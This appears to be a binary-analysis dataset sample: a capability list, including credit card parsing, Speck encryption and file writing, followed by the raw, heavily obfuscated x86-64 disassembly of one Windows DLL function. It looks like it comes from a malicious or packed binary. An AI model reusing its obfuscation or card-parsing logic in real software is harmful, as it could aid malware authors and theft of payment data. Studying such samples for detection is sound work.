Function at 0x180004f7c
Capabilities:
Accept command line arguments
Authenticate hmac
Check os version
Encode data using base64
Encrypt data using speck
Parse credit card information
Parse pe header
Terminate process
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
lea rbp, [rax - 0x3d8]
sub rsp, 0x4b8
mov r10d, dword [rbp - 0x80]
xor eax, eax
mov r9d, eax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x50], r10
lea r11d, [rax + 1]
mov eax, dword [rbp - 0x80]
mov qword [rbp - 0x78], rax
mov eax, dword [rbp - 0x80]
mov qword [rsp + 0x78], rax
jmp 0x180004fda
mov r9d, dword [rsp + 0x40]
jmp 0x180004fda
mov r11d, 1
mov r10, qword [rsp + 0x50]
mov rdi, qword [section..data]
xor edx, edx
movzx eax, dil
imul ebx, eax, 0x57
mov eax, 0x2aa
mov qword [rbp - 0x70], rdi
or bl, 0x31
movzx ecx, bl
div rcx
mov al, bl
mov dword [rsp + 0x4c], ebx
shl al, 7
mov rsi, rdx
add sil, al
mov al, sil
mov qword [rbp - 0x68], rsi
and al, bl
xor al, 0x73
xor edx, edx
mov dword [rsp + 0x68], eax
mov r8d, edx
mov dword [rsp + 0x58], r8d
cmp r8d, 0x100
jl 0x180006bf1
mov eax, edx
lea rcx, [rdi - 0x4c]
mov dword [rsp + 0x58], eax
xor rcx, 0x27f
cdqe
movabs rdx, 0x1e409d660d08f944
add rcx, rdx
cmp rax, rcx
jb 0x1800065e8
movzx r9d, sil
lea eax, [rdi + 0x140]
xor r9d, 4
mov r11d, 0x33
or r9d, eax
add r9d, 0xd08f801
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x58], r9d
cmp rdi, r11
jae 0x1800050a9
movzx edx, byte [rsp + 0x68]
movzx ecx, bl
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov r9d, dword [rsp + 0x40]
mov r11d, 0x33
mov r10d, eax
mov dword [rsp + 0x68], eax
jmp 0x1800050c9
movabs rax, 0xe1bf6299f2f7060f
cmp rdi, rax
mov eax, 0
cmove r10d, eax
mov qword [rsp + 0x50], r10
mov r10d, dword [rsp + 0x68]
movabs rax, 0xc9714fbcda3ac11
movzx ecx, di
mul rdi
mov r8, rdi
mov eax, 0x37b
sub r8, rdx
imul ecx, eax
shr r8, 1
add r8, rdx
shr r8, 5
sub r8w, cx
cmp sil, 0x2d
jb 0x180007001
mov ecx, 0x23
cmp sil, cl
jne 0x180005151
movzx eax, bl
and rax, rcx
or rax, 0x1d0
mov qword [0x180033028], rax
mov r8d, 0x25
mov r9d, 0x4f
mov ecx, dword [rsp + 0x68]
movzx edx, cl
mov ecx, 0xf4
imul edx, ecx
cmp bl, 0x46
jbe 0x18000531a
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov bl, al
mov dword [rsp + 0x4c], ebx
jmp 0x180005371
cmp sil, 0x47
jb 0x180006d63
cmp sil, 0xb7
jne 0x18000511c
movabs rcx, 0xe1bf6299f2f7060f
cmp rdi, rcx
jne 0x18000527b
mov eax, 0x24
lea r11d, [rax - 0x23]
cmp r8w, ax
jb 0x180004fd5
lea eax, [r11 + 0x55]
cmp r8w, ax
jae 0x1800051b7
movzx edx, bl
mov r9, rcx
movzx r8d, r8w
mov qword [rsp + 0x20], rdx
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd rcx, eax
mov qword [rbp - 0x70], rcx
mov r9d, dword [rsp + 0x40]
jmp 0x1800065e2
mov eax, 0x5f
cmp r8w, ax
jb 0x180006cff
lea r9d, [rax - 0x10]
cmp r8w, r9w
jae 0x1800051ec
movzx ecx, bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx ecx, ax
imul rdi, rcx, 0x1ed
mov qword [rbp - 0x70], rdi
jmp 0x18000511c
cmp r8w, 0x3e
jb 0x180006ceb
mov eax, 0x5c
cmp r8w, ax
jne 0x18000522f
movzx eax, bl
mov r8d, 0x25
imul rdi, rax, 0x162
movabs rax, 0xe1bf6299f2f7078f
and rdi, rax
or rdi, 0x18b
mov qword [rbp - 0x70], rdi
jmp 0x180005128
mov eax, 0x32
cmp r8w, ax
jb 0x180006bdb
mov eax, 0x14
cmp r8w, ax
jae 0x180005258
movzx ecx, r8w
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x18000511c
mov ecx, dword [rsp + 0x68]
mov eax, 0x4e9d
cmp r8w, ax
mov r8d, 0x25
jne 0x18000512c
xor eax, eax
mov dword [rbp - 0x78], eax
jmp 0x18000512c
cmp rdi, r11
je 0x18000703c
cmp rdi, 5
jae 0x1800052ad
movzx ecx, bl
mov rdx, rdi
movzx r8d, r10b
mov r9d, ecx
mov qword [rsp + 0x20], r8
call fcn.180004f7c
mov sil, al
mov qword [rbp - 0x68], rsi
jmp 0x18000511c
cmp rdi, 0x3f
jae 0x1800052e2
movzx ecx, r8w
mov r8d, 0xb7
movzx edx, bl
mov r9d, edx
mov qword [rsp + 0x20], rcx
call fcn.180004f7c
mov r8d, 0x25
mov cl, al
mov dword [rsp + 0x68], ecx
lea r9d, [r8 + 0x2a]
jmp 0x18000512c
mov r8d, 0x25
cmp rdi, 0x59
ja 0x18000530c
xor edx, edx
movzx ecx, r10b
mov eax, 0x18a
div rcx
lea esi, [rbx + rdx]
xor sil, 0xb7
mov qword [rbp - 0x68], rsi
jmp 0x180005122
cmp rdi, r8
jbe 0x1800065e2
jmp 0x180005122
cmp bl, 0x39
jne 0x180005349
movzx ecx, dx
movabs rax, 0xa41a41a41a41a41b
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 6
add ecx, 0x25efe99c
mov qword [rsp + 0x78], rcx
jmp 0x180005376
cmp bl, r9b
jbe 0x180005368
movzx r9d, sil
mov rdx, rdi
movzx r8d, bl
mov rcx, rdi
mov qword [rsp + 0x20], r9
call fcn.180004f7c
jmp 0x180005371
cmp bl, r8b
je 0x180006bf7
cmp bl, 0x39
jne 0x180005381
xor edx, edx
mov r8d, edx
mov dword [rsp + 0x44], edx
jmp 0x1800053a3
mov r9d, dword [rsp + 0x40]
mov eax, 0x5c
mov r10, qword [rsp + 0x50]
lea r11d, [rax - 0x5b]
cmp bl, al
je 0x180004fda
mov r8d, dword [rsp + 0x44]
xor edx, edx
mov dword [rbp - 0x80], edx
mov r9, qword [rsp + 0x50]
mov eax, r8d
cmp rax, qword [rbp + 0x3e8]
jb 0x1800053cf
mov rax, qword [rbp + 0x3e0]
jmp 0x18000646c
mov r9, qword [rsp + 0x50]
jmp 0x1800053cf
mov r8d, dword [rsp + 0x44]
mov rax, qword [0x180033010]
test r9d, r9d
je 0x1800059f9
jmp 0x1800053e8
mov r8d, dword [rsp + 0x44]
xor edx, edx
test r9d, r9d
je 0x1800053ab
mov rcx, qword [0x180033010]
xor edx, edx
mov rax, rcx
div rcx
lea rbx, [rax - 0x582]
cmp rbx, 0xfffffffffffffa7f
jne 0x18000541b
mov eax, dword [rsp + 0x58]
inc eax
movzx eax, al
mov dword [rsp + 0x58], eax
jmp 0x180005453
mov eax, 0x42
cmp rbx, rax
ja 0x180005487
mov qword [rsp + 0x30], rbx
mov r9, rbx
mov dword [rsp + 0x28], ebx
mov r8d, ebx
mov edx, ebx
mov dword [rsp + 0x20], ebx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rbx, 0xfffffffffffffa7f
jne 0x18000549c
mov eax, dword [rsp + 0x58]
cdqe
mov ecx, dword [rbp + rax*4 - 0x50]
add ecx, dword [rsp + 0x40]
mov r9d, ecx
and r9d, 0x800000ff
mov dword [rsp + 0x40], r9d
jge 0x1800054a1
mov eax, 1
sub r9d, eax
or r9d, 0xffffff00
add r9d, eax
mov dword [rsp + 0x40], r9d
jmp 0x1800054a1
cmp rbx, 0x62
jae 0x180005446
mov edx, ebx
mov rcx, rbx
call fcn.18000705c
jmp 0x1800053ed
mov r9d, dword [rsp + 0x40]
movsxd rdx, dword [rsp + 0x58]
mov rax, rbx
or rax, 0x37c
mov rdi, rbx
sub rdi, rax
mov eax, 2
mov r10b, byte [rbp + rdx*4 - 0x50]
mov byte [rsp + 0x48], r10b
cmp rbx, rax
jae 0x1800054e7
mov r9, rbx
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rdi
mov rcx, rdi
call fcn.180004f7c
mov rdi, rax
jmp 0x1800055ae
mov eax, 0x24
cmp rbx, rax
jne 0x180005502
mov edx, eax
mov ecx, eax
call fcn.18000705c
mov rbx, rax
jmp 0x1800055ae
mov eax, 0x50
lea r11d, [rax - 0x4f]
cmp rbx, rax
jb 0x180004fd5
cmp rbx, 0x45
jae 0x18000552e
mov r8d, ebx
mov edx, ebx
mov rcx, rdi
call fcn.180003748
mov edi, eax
jmp 0x1800055ae
cmp rbx, 0x29
ja 0x18000553c
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x180005563
mov eax, 0x31
cmp rbx, rax
jae 0x180005557
mov rdx, rdi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movsxd rbx, eax
jmp 0x1800055ae
cmp rbx, 0x13
jae 0x180005567
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov ebx, eax
jmp 0x1800055ae
cmp rbx, 0xfffffffffffffa7f
jne 0x18000557d
movsxd rax, r9d
mov ecx, dword [rbp + rax*4 - 0x50]
mov dword [rbp + rdx*4 - 0x50], ecx
jmp 0x1800055d9
cmp rbx, 0xd
je 0x18000702b
cmp rbx, 0x46
ja 0x1800055b5
mov edx, ebx
mov rcx, rdi
call fcn.18000705c
mov rcx, rax
xor edx, edx
mov eax, 0x209
div rcx
lea rbx, [rax + 0x185]
add rbx, rcx
mov r10b, byte [rsp + 0x48]
jmp 0x1800055d9
cmp rbx, 0x5a
jb 0x1800055d9
cmp rbx, 0x60
je 0x18000702b
cmp rbx, 0x2f
jb 0x18000702b
cmp rbx, 0x64
je 0x180006fb0
mov sil, dil
mov r11d, 1
and sil, 8
cmp sil, r11b
ja 0x1800065db
xor edx, edx
test sil, sil
jne 0x180005723
mov rax, 0xffffffffffffff00
cmp rdi, rax
jne 0x180005701
cmp rbx, 0x63
jb 0x180006fba
lea ecx, [rdx + 0x18]
cmp rbx, rcx
je 0x1800065db
cmp rbx, 0x34
jb 0x180007013
cmp rbx, 0xfffffffffffffa7f
jne 0x180005646
movsxd r9, dword [rsp + 0x40]
movzx ecx, r10b
mov dword [rbp + r9*4 - 0x50], ecx
jmp 0x1800057bb
mov ecx, 0x2c
cmp rbx, rcx
jae 0x18000566b
mov r8, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
imul rdi, rbx, 0x1f6
jmp 0x18000571d
mov ecx, 0x30
cmp rbx, rcx
jb 0x180007013
cmp rbx, 0x57
jae 0x18000568d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov sil, al
jmp 0x18000571d
mov r10d, 0x33
cmp rbx, r10
ja 0x1800056bb
mov r9, rbx
mov qword [rsp + 0x20], rbx
mov r8, rax
mov rdx, rax
xor ecx, ecx
call fcn.180004f7c
xor edx, edx
mov rdi, rax
lea r11d, [rdx + 1]
jmp 0x180005761
cmp rbx, 0x2b
jb 0x180005953
cmp rbx, 0x2e
jb 0x180005761
cmp rbx, 0x19
je 0x1800053ed
cmp rbx, 3
ja 0x180005723
mov r9, rax
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rbx
call fcn.180004f7c
mov r9, qword [rsp + 0x50]
xor edx, edx
jmp 0x1800053ca
cmp rdi, 0x46
jb 0x180006fba
mov eax, 0x21
cmp rdi, rax
jae 0x180005761
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor edx, edx
lea r11d, [rdx + 1]
cmp sil, 0x28
jb 0x18000573b
mov edx, edi
mov rcx, rdi
call fcn.18000705c
mov sil, al
jmp 0x1800058a0
cmp sil, 0x53
je 0x180006ff7
cmp sil, r11b
jae 0x18000702b
cmp sil, 0x16
jae 0x18000702b
test sil, sil
jne 0x180005851
cmp rbx, 0x15
jb 0x180006d11
cmp rbx, 0x60
jae 0x18000577e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x1800058a0
mov eax, 0x55
cmp rbx, rax
jb 0x1800059f3
cmp rbx, 0x36
jae 0x1800057ad
mov qword [rsp + 0x20], rdx
mov r9, rdi
mov rdx, rdi
mov r8, rdi
mov rcx, rdi
call fcn.180004f7c
jmp 0x1800058a0
cmp rbx, 0xfffffffffffffa7f
jne 0x180005809
mov r9d, dword [rsp + 0x40]
movsxd rdx, dword [rsp + 0x58]
movsxd rax, r9d
mov ecx, dword [rbp + rax*4 - 0x50]
add ecx, dword [rbp + rdx*4 - 0x50]
and ecx, 0x800000ff
jge 0x1800057df
sub ecx, r11d
or ecx, 0xffffff00
add ecx, r11d
mov r8d, dword [rsp + 0x44]
mov r10, qword [rbp + 0x3f0]
movsxd rcx, ecx
mov dl, byte [rbp + rcx*4 - 0x50]
mov rcx, qword [rbp + 0x3e0]
xor dl, byte [r8 + rcx]
mov ecx, dword [rbp - 0x80]
mov byte [rcx + r10], dl
jmp 0x1800058ad
cmp rbx, 0x39
jae 0x18000581d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x1800058a0
cmp rbx, 0x62
jae 0x180005846
mov qword [rsp + 0x30], rdx
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, edi
mov r8d, ebx
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
jmp 0x1800058a0
cmp rbx, 0x5b
jne 0x1800058a0
mov sil, 0x5a
jmp 0x1800058a0
cmp sil, 0x62
je 0x180006fed
mov r8d, 0x25
cmp sil, r8b
jb 0x180005896
xor edx, edx
mov eax, 0xdb
div rdi
mov rcx, rax
movabs rax, 0x1d8f5672e4abc83b
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 8
mov qword [0x180033018], rcx
jmp 0x1800058a0
cmp sil, 0xb
jae 0x180006de2
mov ecx, dword [rbp - 0x80]
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x44]
mov rbx, rdi
movzx eax, sil
and ebx, 0x361
or rbx, rax
cmp rdi, 0x57
jb 0x18000702b
jbe 0x1800065e2
xor edx, edx
cmp rdi, 0xffffffffffffff00
jne 0x1800058e4
test sil, sil
lea eax, [rcx + 1]
cmovne eax, ecx
mov dword [rbp - 0x80], eax
cmp rbx, 0x2d
jbe 0x1800053c3
cmp rbx, 0x1d
je 0x1800059ad
cmp rbx, 0x300
je 0x1800059a5
cmp rbx, 0x59
je 0x18000599a
cmp rbx, 0x63
jb 0x18000597b
cmp rbx, 9
jb 0x1800053ed
cmp rbx, 3
jbe 0x18000702b
cmp rbx, 0x1e
jb 0x1800059f9
mov eax, 0x5d
cmp rbx, rax
jae 0x180005964
movzx ebx, sil
lea rax, [rdi - 0x2fb]
and ebx, 0x1a7
xor rbx, rax
jmp 0x1800059ad
mov rdx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x1800059f9
mov r10, qword [rsp + 0x50]
mov r11d, 1
cmp rbx, 0x43
jb 0x180004fda
jmp 0x1800059ad
movzx eax, sil
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rdi
call fcn.180004f7c
mov sil, al
jmp 0x1800059ad
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x180005995
inc r8d
mov dword [rsp + 0x44], r8d
movabs rax, 0xe40655826010e41
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
xor edx, edx
shr rax, 8
imul rax, rax, 0x1e5
sub rcx, rax
mov rax, rcx
div rbx
cmp rbx, 0x17
jb 0x1800065c8
cmp rbx, 0x53
jne 0x180006500
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10, qword [0x180033028]
xor edx, edx
mov eax, 0x22b
mov qword [rsp + 0x60], r10
div r10
mov r11d, 0x113
movabs rcx, 0xc87838419cd5b6ee
mov r8, rax
mov qword [rsp + 0x70], rax
movzx ebx, r8w
movzx eax, r10w
imul ebx, eax
or bx, r11w
cmp r10, rcx
jne 0x180005b39
mov r9d, 0x18
cmp bx, r9w
jae 0x180005a6c
mov ecx, r8d
movabs rax, 0x7b301ecc07b301ed
mul rcx
shr rdx, 7
mov r8d, edx
mov qword [rsp + 0x70], r8
jmp 0x180005b39
mov eax, 1
cmp bx, ax
jne 0x180005a8f
mov ecx, r8d
mov edx, r8d
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov r10, qword [rsp + 0x60]
movzx ebx, ax
jmp 0x180005b2e
mov eax, 8
cmp bx, ax
jne 0x180005aa5
mov edx, 0x9cd5b6ee
call fcn.18000705c
jmp 0x180005a82
mov eax, 0x25
cmp bx, ax
jne 0x180005ab9
mov ebx, 0xb6ee
jmp 0x180005b39
cmp bx, 0x4b
je 0x180006fc9
cmp bx, r11w
jne 0x180005ad4
mov r9, qword [rbp - 0x78]
add dword [rsp + 0x44], r9d
jmp 0x180005b3d
mov esi, 0x55
cmp bx, si
jb 0x180006fc1
lea eax, [rsi - 5]
cmp bx, ax
je 0x180006deb
lea eax, [rsi - 0x34]
cmp bx, ax
jne 0x180005b00
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x180005a82
cmp bx, 0x61
ja 0x180005b39
movzx ecx, bx
mov edx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movsxd r10, eax
xor edx, edx
mov eax, 0x2c1
mov qword [rsp + 0x60], r10
div r10
mov eax, 0x33d
or dx, ax
or bx, dx
mov r8, qword [rsp + 0x70]
mov r11d, 0x113
mov r9, qword [rbp - 0x78]
movzx edi, bx
movabs rax, 0xd310e6da7c7ef82b
mul rdi
mov ecx, edi
shr rdx, 9
imul rax, rdx, 0x26d
sub rcx, rax
movzx eax, cl
imul esi, eax, 0xbd
mov eax, 0x5d
cmp bx, ax
jb 0x180006d1c
mov eax, 0x42
cmp bx, ax
jbe 0x180006d1c
mov eax, 0x24
cmp bx, ax
jb 0x180006d1c
mov eax, 0x2c
cmp bx, ax
jb 0x180006d56
lea ecx, [rax + 5]
cmp bx, cx
jne 0x180005bc7
movzx eax, sil
mov r9d, ecx
mov r8d, ecx
mov qword [rsp + 0x20], rax
mov edx, ecx
mov rcx, r10
call fcn.180004f7c
mov sil, al
jmp 0x180005c69
cmp bx, 0x3d
ja 0x180005c1b
mov ecx, r8d
movabs rax, 0x10182436517a3753
mul rcx
shr rdx, 5
imul rax, rdx, 0x1fd
sub rcx, rax
movabs rax, 0x5197f7d73404147
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x1f6
sub rcx, rax
mov qword [0x180033018], rcx
jmp 0x180005c69
mov eax, 0x26
cmp bx, ax
jae 0x180005c33
movzx edx, sil
mov ecx, r8d
call fcn.18000705c
jmp 0x180005bbf
mov eax, 0x1b
cmp bx, ax
jb 0x180005c69
mov eax, 2
cmp bx, ax
jne 0x180005c5c
mov ecx, r8d
mov edx, r10d
call fcn.180003748
mov r11d, eax
mov qword [rsp + 0x60], r11
jmp 0x180005c6e
cmp bx, r11w
jne 0x180005c69
mov eax, r9d
add qword [rbp - 0x60], rax
mov r11, qword [rsp + 0x60]
mov r10, qword [rsp + 0x70]
mov ecx, 0x106
movzx eax, r10w
and ax, bx
xor ax, cx
cmp r11, 0x3f
jne 0x180005ce2
movzx eax, ax
and rax, rdi
xor rax, 0x2eb
mov qword [section..data], rax
xor edx, edx
movabs r8, 0xc87838419cd5b6ee
mov rcx, qword [rsp + 0x78]
mov al, sil
mov r9d, 0x18
xor al, r9b
movzx edi, al
lea eax, [r9 + 0x47]
cmp r11, rax
jne 0x180005ed9
movzx eax, bx
lea r8d, [r9 - 0x10]
imul ecx, eax, 0x3c
lea eax, [r9 + 0x47]
add eax, ecx
mov qword [rsp + 0x70], rax
jmp 0x180005f2b
cmp r11, 0x3c
je 0x180006fe5
cmp r11, 0x38
jb 0x1800051ad
cmp r11, 0x48
jae 0x180005d14
mov rdx, r11
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r10, qword [rsp + 0x70]
mov r11, qword [rsp + 0x60]
jmp 0x180005c9b
cmp r11, 0x12
jne 0x180005d3f
movzx eax, bx
mov r9, r11
mov ecx, r10d
mov qword [rsp + 0x30], rcx
movzx edx, sil
mov dword [rsp + 0x28], eax
mov r8d, edx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180005d08
cmp r11, 0x1a
jae 0x180005d50
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov sil, al
jmp 0x180005d08
mov r9d, dword [rsp + 0x40]
xor edx, edx
test r11, r11
je 0x180004fcf
cmp r11, 0x5e
jbe 0x180005c9d
lea ecx, [rdx + 0x1f]
cmp r11, rcx
jae 0x180005d84
movzx r8d, ax
mov edx, r11d
movzx ecx, sil
call fcn.180003748
jmp 0x180005d08
movabs r8, 0xc87838419cd5b6ee
cmp r11, r8
jne 0x180005e95
cmp sil, 7
jne 0x180005df9
cmp r10d, 0x4d
jb 0x180005dca
mov qword [rsp + 0x20], r8
mov r9, rdi
mov r8, rdi
mov edx, 7
movabs rcx, 0xc87838419cd5b6ee
call fcn.180004f7c
movzx ebx, ax
jmp 0x180005d08
test r10d, r10d
jne 0x180005ca7
movzx ecx, bx
mov eax, ecx
add ecx, 0x2f26
xor eax, 0x1b7
add eax, 0x41c64dc9
imul eax, dword [rsp + 0x78]
add ecx, eax
mov qword [rsp + 0x78], rcx
jmp 0x180005cac
cmp sil, 4
jb 0x1800059f9
cmp sil, 0x1c
je 0x180006469
cmp sil, 0x40
jbe 0x180005e31
movzx ecx, ax
movzx eax, sil
imul rcx, rax
or rcx, 0x263
mov qword [section..data], rcx
jmp 0x180005ca7
cmp sil, 0x13
jbe 0x180005e52
movzx ecx, ax
mov r9, rdi
mov edx, ecx
movzx r8d, sil
mov qword [rsp + 0x20], rdi
call fcn.180004f7c
jmp 0x180005d08
cmp sil, 0xc
ja 0x18000615d
cmp sil, 0xb
jbe 0x180005e7c
movzx ecx, sil
mov rdx, r8
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, 0xb586
or bx, ax
jmp 0x180005d08
cmp sil, 0xd
ja 0x180006d25
cmp sil, 0x47
ja 0x180006d1c
jmp 0x180005ca7
mov ecx, 0x23
cmp r11, rcx
jb 0x180006d45
mov r9, qword [rsp + 0x50]
cmp r11, 0x45
jb 0x1800053ca
cmp r11, 7
je 0x18000615d
cmp r11, 0x64
jae 0x180005ca7
mov eax, r10d
xor rax, 3
mov qword [0x180033018], rax
jmp 0x180005ca7
cmp r11, 0x47
jb 0x1800064db
cmp r11, 0xb
jae 0x180005efc
sub bl, r10b
mov esi, 0x30
add sil, bl
mov r8d, 8
jmp 0x180005f26
cmp r11, 0x4d
jne 0x180006015
movzx ecx, sil
mov edx, r11d
call fcn.18000705c
mov rdi, rax
mov r11, qword [rsp + 0x60]
mov r8d, 8
mov r9d, 0x18
mov rax, qword [rsp + 0x70]
mov ecx, eax
movabs rax, 0x8b64018b64018b65
mul rcx
mov eax, ecx
mov ebx, ecx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x297
sub rbx, rax
mov rax, qword [rsp + 0x70]
xor bx, ax
cmp eax, 0x52
jbe 0x180006166
mov edx, eax
call fcn.18000705c
mov sil, al
mov rax, qword [rsp + 0x70]
or eax, 0x279
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x60]
mov r9d, 0x24
lea r11d, [r9 - 4]
mov r10d, 0x33
cmp di, r10w
ja 0x180006fd1
cmp di, r11w
ja 0x1800064b4
lea ecx, [r10 + 0x23]
cmp di, cx
je 0x1800064a3
lea ecx, [r10 - 0x32]
cmp di, cx
jb 0x180006493
cmp di, r9w
je 0x180006478
mov r9, qword [rsp + 0x50]
lea ecx, [r10 - 0x23]
cmp di, cx
je 0x1800053e1
lea ecx, [r10 - 0x14]
cmp di, cx
je 0x180006406
lea ecx, [r10 - 3]
cmp di, cx
ja 0x1800063fb
lea ecx, [r10 - 0x10]
cmp di, cx
jne 0x1800063ad
movzx ecx, bx
movzx edx, bx
call fcn.180003748
jmp 0x1800059f9
mov r9d, dword [rsp + 0x40]
cmp r11, 0x2a
jbe 0x180004fcf
cmp r11, 0x35
je 0x1800065e2
cmp r11, 0x2b
je 0x180006fd9
test r11, r11
jne 0x18000604b
movzx ecx, bx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x180005f15
cmp r11, 0x1a
jne 0x180006068
mov edx, edi
mov rcx, r11
call fcn.18000705c
mov r11, rax
mov qword [rsp + 0x60], rax
jmp 0x180005f1a
cmp r11, r8
jne 0x180005f1a
mov eax, 0x10
cmp r10d, eax
je 0x180005f1a
cmp r10d, 6
ja 0x180004fcf
cmp r10d, 0x16
ja 0x18000702b
cmp r10d, 0x12
ja 0x180005f1a
mov r9, qword [rsp + 0x50]
cmp r10d, 0xa
ja 0x1800053ca
cmp r10d, 0x1a
jbe 0x1800060c0
mov rcx, rdi
mov r8d, 0x9cd5b6ee
jmp 0x180006008
cmp r10d, 7
je 0x180006d1c
test r10d, r10d
jne 0x1800060ff
mov r9d, ecx
movabs rax, 0x47ae147ae147ae15
mul r9
mov eax, ecx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x64
sub r9, rax
mov qword [rsp + 0x50], r9
jmp 0x180005f1a
mov eax, 0x31
cmp r10d, eax
je 0x18000646c
cmp r10d, 0x1d
jbe 0x18000612b
movzx ecx, bx
add rcx, rdi
and ecx, 0x281
mov qword [0x180033020], rcx
jmp 0x180005f1a
cmp r10d, 7
ja 0x180006f35
cmp r10d, 0x2d
je 0x180006fc1
mov r9, qword [rsp + 0x50]
mov r8d, 8
cmp r10d, r8d
ja 0x1800053ca
cmp r10d, 4
jb 0x180005f20
movzx eax, sil
jmp 0x18000646c
cmp eax, 0x36
jae 0x180006fd1
cmp eax, 0x64
ja 0x1800065d0
test eax, eax
jne 0x1800062a5
cmp sil, 7
jne 0x1800061d4
movzx ecx, bx
movabs rax, 0x2492492492492493
mul rcx
mov rax, qword [rsp + 0x70]
sub rcx, rdx
shr rcx, 1
add rcx, rdx
movzx edx, di
shr rcx, 2
xor edx, 0x1eb
and ecx, 0x21b
add ecx, 0x41c64e6d
imul ecx, dword [rsp + 0x78]
add ecx, 0x2e45
add edx, ecx
mov qword [rsp + 0x78], rdx
jmp 0x180005f7f
cmp sil, 0x64
je 0x180006fc1
cmp sil, 0x3f
jb 0x1800061f9
movzx ebx, di
mov ecx, 0x123
and bx, cx
mov rax, qword [rsp + 0x70]
jmp 0x180005f7a
cmp sil, 6
jbe 0x1800064c4
cmp sil, 0xf
jbe 0x180006233
movzx edx, sil
movzx r9d, di
mov r8d, edx
mov qword [rsp + 0x30], r9
movzx eax, di
mov dword [rsp + 0x28], edx
movzx ecx, sil
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x1800059f9
cmp sil, r8b
ja 0x18000615d
jne 0x18000625a
movzx ecx, bx
mov rdx, r11
mov r8d, ecx
movzx r9d, di
mov qword [rsp + 0x20], r11
call fcn.180004f7c
jmp 0x1800059f9
cmp sil, 0x3e
jbe 0x180006282
movzx ecx, di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x60]
mov sil, al
lea eax, [r8 + 0x2f0]
mov rdx, qword [rsp + 0x78]
jmp 0x180005f84
cmp sil, 0x22
ja 0x180006dfa
cmp sil, 0x11
je 0x180005f7a
cmp sil, 9
ja 0x1800059f9
jmp 0x180005f7a
cmp eax, 0xd
jbe 0x1800062c1
movzx r8d, di
movzx edx, bx
movzx ecx, di
call fcn.180003748
movzx ebx, ax
jmp 0x1800061ef
cmp eax, 4
je 0x1800059f9
cmp eax, 0x2a
jbe 0x1800062fe
xor edx, edx
movzx ecx, di
mov rax, r11
div rcx
movabs rax, 0xc5fe740317f9d00d
mul rdx
shr rdx, 9
xor rdx, 0x358
mov qword [0x180033028], rdx
jmp 0x1800061ef
cmp eax, 0x5e
je 0x180006fd1
cmp eax, 0x58
ja 0x1800059f9
cmp eax, 0x38
jae 0x1800064ca
mov r9d, 0x24
cmp eax, r9d
jne 0x180006341
movzx r8d, di
mov edx, r11d
movzx ecx, sil
call fcn.180003748
mov r8d, eax
mov rax, qword [rsp + 0x70]
jmp 0x180006278
mov r11d, 0x20
cmp eax, r11d
jbe 0x180006382
movzx edx, bx
call fcn.18000705c
movzx ecx, ax
movabs rax, 0x3c91beb2de672839
mul rcx
shr rdx, 7
imul rax, rdx, 0x21d
sub rcx, rax
mov eax, 0x308
movzx edi, cx
imul edi, eax
jmp 0x1800061ef
cmp eax, 0x48
jbe 0x180006395
movzx ecx, di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
jmp 0x180006337
cmp eax, 0x42
ja 0x18000615d
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
jmp 0x180005f8e
cmp di, r10w
jae 0x1800063d8
mov r9, qword [rsp + 0x50]
mov r8d, 2
